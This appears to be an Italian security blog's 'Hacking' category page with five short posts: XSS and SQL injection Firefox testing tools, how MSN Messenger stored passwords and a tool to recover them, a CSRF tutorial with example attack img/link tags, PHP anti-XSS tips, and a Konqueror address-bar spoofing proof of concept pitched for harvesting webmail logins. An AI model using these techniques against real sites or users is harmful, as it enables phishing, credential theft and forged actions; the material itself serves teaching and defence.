DiGiTaL RiOt

Voci categorizzate come ‘Hacking’

ExploitMe: suite di estensioni per Firefox orientate alla sicurezza

Marzo 5, 2008 · 5 Commenti

Vi segnalo due interessanti tool che potrbbero facilitarvi il lavoro in caso andiate alla ricerca di possibili SQLinjections ed XSS: XSSme e SQL Inject-Me.

xsswarning.jpg

L’azienda Security Compass rilascia gratuitamente (sotto licenza GPL) questi due tool sotto forma di estensioni firefox (intanto la mia GUI di firefox diventa sempre più grassa ^^) insieme ad alcune informazioni relative ad il loro utilizzo.

Questi due semplici tool vi permettono di testare le vulnerabilità di una pagina web basandosi su una base di Vettori già noti listati in file xml inclusi nelle distribuzioni.

Estendere questi file è molto semplice, basta infatti ciccare il menu opzioni e nel pannello Strings aggiungere manualmente i vostri vettori javascript o codice SQL.
Potete anche aggiungere direttamente un altro listato xml contenente le vulnerabilità scoperte da qualcunaltro, così da permettere la condivisione di stringhe di attacco.

Sul sito della società è già incluso un file XML pronto da scaricare.

Categorie: Firefox · Hacking · Open Source · SQL-injections · Sicurezza · Toolz · XSS

MSN Messenger e la codifica delle password

Dicembre 1, 2007 · 3 Commenti

Ecco a voi la storia del sistema di salvataggio delle password di MSN messenger, con relative decodifiche XD.

msn_butterfly.jpg

MSN Messenger Versione 5.0 e precedenti:
Le passwords venivano salvate nel registro semplicemente applicandovi il base64….. praticamente in chiaro… L’indirizzo della chiave è HKEY_CURRENT_USER\Software\Microsoft\MSNMessenger ed era possibile decodificarli con una qualsiasi decoder base64 :S

Msn Messenger Versione 6.0-7.0:
Microsoft si accorge che “forse” applicare il base64 non bastava… così si è inventata la funzione interna CryptUnprotectData, ma nell’agosto del 2004, il buon to0mbkeeper ha postato su security focus i sorgenti della suo tool per decodificarle, funzionante solo su Win2000.
Le modifiche apportate alla versione 7.0 che aggiungeva un sistema entropico one delgi hash, e l’incompatibilità con Windows XP hanno fatto da propellente all’opera di Napalm e Gregory Panakkal, che hanno sviluppato dei tool di recupero delle password (ma non è stupefacente questo infinito ciclo “tu proteggi, io ti frego” ? hackers e sistemisti si creano posti di lavoro a vicenda!! XD)

Msn Messenger Versione 7.5:
Nasce il Windows Credentials Manager (con relativo coro di stupore tipo whoooa XD), che accoppia l’entropia ad un salt generato automaticamente, salvando i dati nella chiave: HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\ . Naturalmente i vecchi tool di decodifica sono stati resi inefficaci.

Windows Live 8:

Questa versione che voi tutti conoscete, non fa a ltro che importare i profili delle vecchie versioni, ed aggiunge dei dati alla fine delle password generate dall’algoritmo introdotto con la 7.5.

A questo punto,l in base alla versione di MSN installata sul computer da cui volete recuperare account potete scaricare gli appositi Tool… io vi consiglio questo (Il collegamento è diretto al download dell’eseguibile).

Chissà cosa attende il futuro di Messenger?

Chissene io uso Kopete!!! :D

Categorie: Crittografia · Hacking · Sicurezza · msn

CSRF: basi di Cross Site Request Forgery

Novembre 29, 2007 · 3 Commenti

Ho parlato a lungo ed abbastanza dettagliatamente del cross site scripting, ora invece vi presento una tecnica dal nome simile ma dall’efficacia maggiore per portare a termine certi tipi di attacchi: i famigerati CSRF attacks (o XSRF).

Il nome della tecnica è eloquente: si tratta di creare delle richieste ad hoc da inviare ad una applicazione sfruttando le autorizzazioni di un utente ‘trusted’, ovvero sfruttando la sua identità!!

csrf.jpg

Notiamo subito una differenza sostanziale tra XSS e CSRF: con i primi, ad essere sfruttata è la fiducia che l’applicazione ripone nell’utente attivo, che invece di svolgere le sue normali operazioni sfrutta le falle dell’applicazione stessa; Nel caso del CSRF invece, ad essere sfruttata è la fiducia che l’utente ripone in un certo applicativo, che invece lo sfrutta (non è esattamente l’applicativo che sfrutta l’utente, ma il programmatore che lo ha sviluppato!! altrimenti l’applicazione sarebbe una specie di Agente Smith di Matrix XD).

Ma come inviare delle richieste ad un server?? ci sono zilioni di modi :D la maggior parte dei quali realizzabili da chiunque e questo non fa altro che aumentare i problemi di sicurezza nelle grandi applicazioni web: anche il più impreparato degli script kiddies potrebbe portare a termine un attacco del genere!!

Vediamo ora un semplice esempio pratico:

L’azienda Pancom, mette a disposizione dei suoi utenti un certo numero di inviti, da inviare ai propri amici per permettere ad essi di unirsi alla comunity di bloggers altrimenti riservata.

Ogni utente ha nella propria dashboard, un form composto da una textbox in cui va inserito l’indirizzo email del proprio amico a cui si vuole donare l’accesso a Pancom, e chiaramente un pulsante di submit.

Come poter sfruttare gli inviti dell’utente Mattia che non sta attento alle sessioni e naviga su internet con moltissime tab aperte senza curarsi della sua sessione in Pancom.com??

Se i programmatori Pancom non sono stati attenti, no cè niente di più semplice!!
Dopo aver analizzato il form di invio degli inviti (pensate a quello di Gmail), il cui codice possiamo immaginare essere simile al seguente:

<form name="invita” method=”GET” action =”invita.php”>
<input type=”text” name=”email”>
<input type=”submit” value=”Invita!”>
</form>

Ne risulta che la richiesta da inviare al server sarà una del tipo:

http://utenteLoggato.pancom.com/invita.php?email=indirizzo@maligno.com

Per fare in modo che l’utente loggato invii al posto nostro una richiesta del genere sarà sufficiente che visiti una pagina web creata ad hoc dall’attaccante. e contenente un tag come un link ad uno stylesheet, una immagine o una tag META:

<img src=”http://utenteLoggato.pancom.com/invita.php?email=indirizzo#maligno.com”>
<link rel=”http://utenteLoggato.pancom.com/invita.php?email=indirizzo#maligno.com”> 

Anche una banale immagine di sfondo che viene caricata con il corpo della pagina html innesca il meccanismo sopra citato!!

Capirete dunque che un attacco del genere (filtraggio degli url,utilizzo di token sicuri, controllo del referrer… mmm ok ne parlerò più avanti :D ), può essere portato a termine in pochissimo tempo e senza delle conoscenze specifiche di SQL, PHP, Javascript o qualsiasi altra code injection esistente :S

Categorie: CSRF · Hacking · Sicurezza · XSS

Pillole contro il mal di XSS

Ottobre 29, 2007 · Lascia un Commento

Continua la mia serie di mini articoli sull’argomento XSS, che, a quanto pare, incuriosisce moltissimi naviganti della rete :D (mi riferisco alle statistiche dei motori di ricerca ;) ).

xsswarning.jpg

Questo articolo non è esattamente un tutorial riguardante una tecnica di XSS, ma più che altro una raccolta di pillole di saggezza che tutti dovrebbero assimilare.

  • Controllate la presenza di tags HTML e rendeteli inoffensivi (non del tutto!) con la funzione php strip_tags()
  • Se non potete rimuovere a priori i tag html dalle query, rimpiazzateli con il corrispondente riferimento ad entità: la funzione htmlentities() sostituisce i caratteri “<” e “>” con “<” e “>”
  • Evitate di utilizzare le funzioni include() e require() passando come argomento variabili definite dall’utente, come elementi degli array $_POST $_GET $_REQUEST e $_FILE, potreste dar luogo a vulnerabilità critiche: inclusione di files di installazione del vostro CMS oppure files di configurazione di vario genere contenenti username, password ed altre informazioni importanti.

Filtrate approfonditamente le query, controllando anche la codifica ASCII ed HEX

Attenti all’utilizzo delle MAGIC QUOTES: Un tentativo da parte degli sviluppatori PHP di incrementare la sicurezza di PHP tramite il filtraggio automatico delle stringhe, aggiungendo il carattere di escape. Questa opzione non vi mette al riparo dagli attacchi di XSS e SQL Injection, poiché il controllo può in molti casi essere bypassato. Inoltre, il sistema di MAGIC QUOTES comporta alcuni problemi di portabilità del codice, che potrebbe assumere comportamenti diversi in base alla configurazione della vostra installazione di PHP.

Categorie: Hacking · Programmazione · Sicurezza · XSS · javascript · php

Vulnerabilità Konqueror: SetInterval Function Address Bar URI Spoofing

Ottobre 9, 2007 · Lascia un Commento

Creando una pagina HTML appropriata, è possibile sfruttare una vulnerabilità di Konqueror per mettere la vittima dell’exploit davanti ad un URL “trusted” mentre si visualizza un documento che contiene codice maligno.

L’exploit si basa sulla funzione setInterval(), che esegue una funzione o testa una espressione ogni intervallo di tempo:

– setInterval(espressione, tempo)
- setInterval(funzione, tempo, [arg1, ..., argN])
Dove:
- funzione è una qualsiasi funzione dichiarata nel documento;
- espressione è una stringa contenente una espressione JavaScript. L’espressione dev’essere quotata, altrimenti setInterval() la esegue immediatamente;
- tempo come già detto è un tempo espresso in millisecondi;
- arg1, …, argN sono opzionali e sono argomenti, se necessari, che vengono passati alla funzione.

Esaminiamo il seguente listato:

<FORM action="http://www.google.com/search" name="form">
	<INPUT TYPE=text NAME="q"><BR>
	<INPUT TYPE=submit VALUE=Search onClick="a=0; location='http://www.google.com/search?q=' + document.form.q.value; return false;">
	</FORM> 

<SCRIPT LANGUAGE="JavaScript"> 

function foo() {
	if (a==1) {
		a=0;
		window.location = "http://www.google.com/";
		a=1;
	}
}
setInterval("foo()", 0); 

</SCRIPT>

Questo semplice form, non fa altro che refreshare continuamente la pagina contenente il codice javascript, lasciando il browser letteralmente intrappolato in essa mentre l’utente crede di aver cambiato posizione. In questo modo è possibile far credere all’utente di essere di fronte ad una pagina sicura e conosciuta, mentre si visualizza un documento qualsiasi, magari creato ad hoc per imitare un sito noto.
Questa vulnerabilità riguardale versioni 3.5.7 non patchate di Konqueror e potrebbe essere sfruttata ad esmepio per raccogliereusername e passwords delgi utenti Hotmail e Gmail, mostrando un URL autentico, ma una pagina clone dell’originale (occhio con i problemi legati all’utilizzo dei simboli coperti da Copyright).

Good Hacking e FATE I BRAVI (già che la gente fa schifo, almeno noi cerchiamo di migliorare il mondo , evitando di creare problemi agli altri).

Riferimenti:

Categorie: Exploit · Hacking · KDE · Sicurezza · javascript